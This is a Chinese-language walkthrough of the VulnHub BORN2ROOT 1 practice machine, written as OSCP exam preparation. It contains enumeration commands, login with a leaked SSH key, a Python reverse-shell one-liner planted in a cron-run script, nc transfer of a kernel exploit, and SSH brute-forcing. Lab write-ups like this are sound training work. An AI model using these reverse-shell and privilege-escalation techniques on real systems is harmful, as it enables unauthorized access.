靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

admin 2024年1月15日18:56:01评论32 views字数 4417阅读14分43秒阅读模式

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

  3. 提升权限

    1. martin用户

      1. sudo

      2. suid

      3. cron

    2. jimmy用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息收集

    3. 最终提权

1、资产发现

1.1、主机发现

本次靶场BORN2ROOT: 1[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.98 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

开放的端口

提供的服务

使用的组件

组件的版本

22/tcp

ssh

OpenSSH

6.7p1

80/tcp

http

Apache httpd

2.4.10

111/tcp

rpcbind

?

?

38734/tcp

status

?

?

-

Os

Debian Linux

?

2、漏洞发现(获取权限)

2.1、80端口/HTTP服务

2.1.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.未发现Web中间件Apache httpd 2.4.10的Nday漏洞。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

0x02、Web框架

使用浏览器插件Wappalyzer未发现存在Nday漏洞的Web框架。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

2.1.2、URL漏洞

0x01、直接访问

浏览器打开http://172.16.33.98/,除了3个人名MartinHadiJimmy外几乎一无所获,等到后面没招了可以用这3个人名爆破SSH服务。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

0x02、目录扫描

前面nmap发现的/robots.txt文件里有/wordpress-blog/files两个文件。

打开/wordpress-blog是一句YOU JUST GOT TROLLED!你被恶搞了的嘲讽,看来不是WordPress呀。打开/files是空的。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

使用命令dirsearch -u http://172.16.33.98/ -x 403 ,新发现了/icons文件和/manual文件。

/manual文件是Web中间件的用户手册,没啥用。/icons文件打开是个目录,对于非图片的文件逐个打开看看吧,结果发现http://172.16.33.98/icons/VDSoyuAXiO.txt是SSH私钥,看来前面发现的3个人名派上用场了。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

使用命令wget http://172.16.33.98/icons/VDSoyuAXiO.txt下载SSH私钥文件后,使用命令ssh [email protected] -i VDSoyuAXiO.txt登录SSH服务,结果提示bad permissions

使用命令chmod 0600 VDSoyuAXiO.txt修改文件权限后再次登录,结果提示no mutual signature supported

网上查阅文章ssh连接服务器报错“no mutual signature supported”[2]提到可以使用参数-o PubkeyAcceptedKeyTypes=+ssh-rsa。使用命令ssh [email protected] -i VDSoyuAXiO.txt -o PubkeyAcceptedKeyTypes=+ssh-rsa,成功登录martin账号。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

0x03、模糊测试

基于目前已知情况,没有对网站的目录或文件进行FUZZ的必要。

0x04、切换协议

浏览器访问https://172.16.33.98:80/,发现连接失败,网站不支持SSL。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3、提升权限

3.1、martin用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的命令执行什么权限,发现没有sudo命令。使用命令which sudo确认确实没有sudo命令。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个在GTFOBins[3]搜索能否用于提权,发现都不行。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,一个没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,原来是没有查看权限。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} ; > /tmp/cron.txt; grep '*' /tmp/cron.txt查看定时任务,发现一个有意思的计划任务*/5 * * * * jimmy python /tmp/sekurity.py,jimmy用户每五分钟会执行一次/tmp/sekurity.py脚本。

使用命令ls -l /tmp/sekurity.py查看当前用户有无read和write权限,结果报错Aucun fichier ou dossier de ce type,不存在该脚本文件。那就直接使用命令echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.0.110",3398));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' > /tmp/sekurity.py创建该脚本文件并写入反弹shell。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

本地使用命令nc -nvlp 3398进行监听,5分钟内获得jimmy用户的反弹shell,成功完成越权。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.2、jimmy用户

3.2.1、sudo

结果和martin用户一样。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.2.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现不少。逐个检查能否用于提权,发现/home/jimmy/networker命令的other用户具有read、write、execute权限,那岂不是写入提权代码就能获得提权了?

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

使用命令python -c 'import pty; pty.spawn("/bin/bash")'获得交互式shell后,使用命令/home/jimmy/networker执行该命令,发现不需要输入参数就能执行,是打印网卡信息并ping本地。

使用命令strings /home/jimmy/networker查看命令内容,获得5行核心代码,其中第2、3行的/sbin/ifconfig/bin/ping -c 1 localhost会被执行,第1、4、5行会被打印出来。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

么可以在第2、3行代码中写入提权代码,或者狠一点把整个命令全部改成提权代码,这样就能获得提权了。但实际上该networker命令只要是被修改过,suid权限就会丢失,因此这条路算是被堵死了。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

那么地2、3行代码用到的/sbin/ifconfig/bin/ping命令能不能写入提权代码呢?使用命令ls -l /sbin/ifconfig /bin/ping发现other用户没有write权限,看来这条路也被堵死了。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.1.3、cron

结果和martin用户一样。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.1.4、内核提权

使用命令uname -r发现内核版本是3.16.0-4-586,使用命令cat /etc/*release发现发行版本是Debian 8

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

本地使用命令searchsploit Debian 8 3.16.0发现本地提权EXP,使用命令searchsploit -m 44302将EXP拷贝到当前目录,并使用命令gcc 44302.c -o 44302 --static进行编译。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶机使用命令nc -nvlp 4444 > /tmp/44302接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302上传EXP后使用命令Ctrl+C关闭连接。靶机使用命令chmod +x /tmp/44302赋予EXP执行权限后使用命令/tmp/44302执行EXP,提示报错cannot execute binary file: Erreur de format pour exec()

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

网上查阅文档解决linux下cannot execute binary file: Exec format error[4]得知可能是本地编译EXP的机器的CPU和靶机的CPU不一样导致的,那就在靶机上编译EXP吧。

靶机使用命令nc -nvlp 4444 > /tmp/44302.c接收EXP。本地使用命令nc -nv 172.16.33.98 4444 < 44302.c上传EXP后使用命令Ctrl+C关闭连接。靶机使用命令 gcc 44302.c -o 44302编译EXP,提示HAHA ... Nope

使用命令which gcc查看gcc命令地址后使用命令cat /usr/bin/gcc查看gcc命令内容,发现被恶搞了,I GOT TROLLED AGAIN!

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录,无收获。使用命令find /home/ -type f -ls 2>/dev/null查看普通用户目录,发现/home/hadi/目录下存在一些有缓冲区溢出漏洞的命令。但因为这些命令没有suid权限,所以利用该漏洞也只是能拿到当前用户的shell,而无法提权到root用户。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

3.3、最终提权

martin用户和jimmy用户都无法提权,查遍国内外所有WriteUp,全部也是这个结论,看来只能暂时作罢。

国内外所有WriteUp的提权方法,逻辑我不太认同。这些WriteUp的逻辑清一色是既然martin和jimmy用户无法提权,那就从hadi用户突破,基于用户名hadi生成定制化的密码本,然后hydra爆破SSH服务成功得到账户密码hadi/hadi123,获得hadi用户权限。

再然后直接使用命令su root通过密码hadi123切换到root用户,成功完成提权。

靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

参考资料

[1]

BORN2ROOT: 1: https://www.vulnhub.com/entry/born2root-1,197/

[2]

ssh连接服务器报错“no mutual signature supported”: https://www.jianshu.com/p/b7dacbde6db8

[3]

GTFOBins: https://gtfobins.github.io

[4]

解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353

原文始发于微信公众号(OneMoreThink):靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月15日18:56:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战(16):OSCP备考之VulnHub BORN2ROOT 1http://cn-sec.com/archives/2396206.html

发表评论

匿名网友 填写信息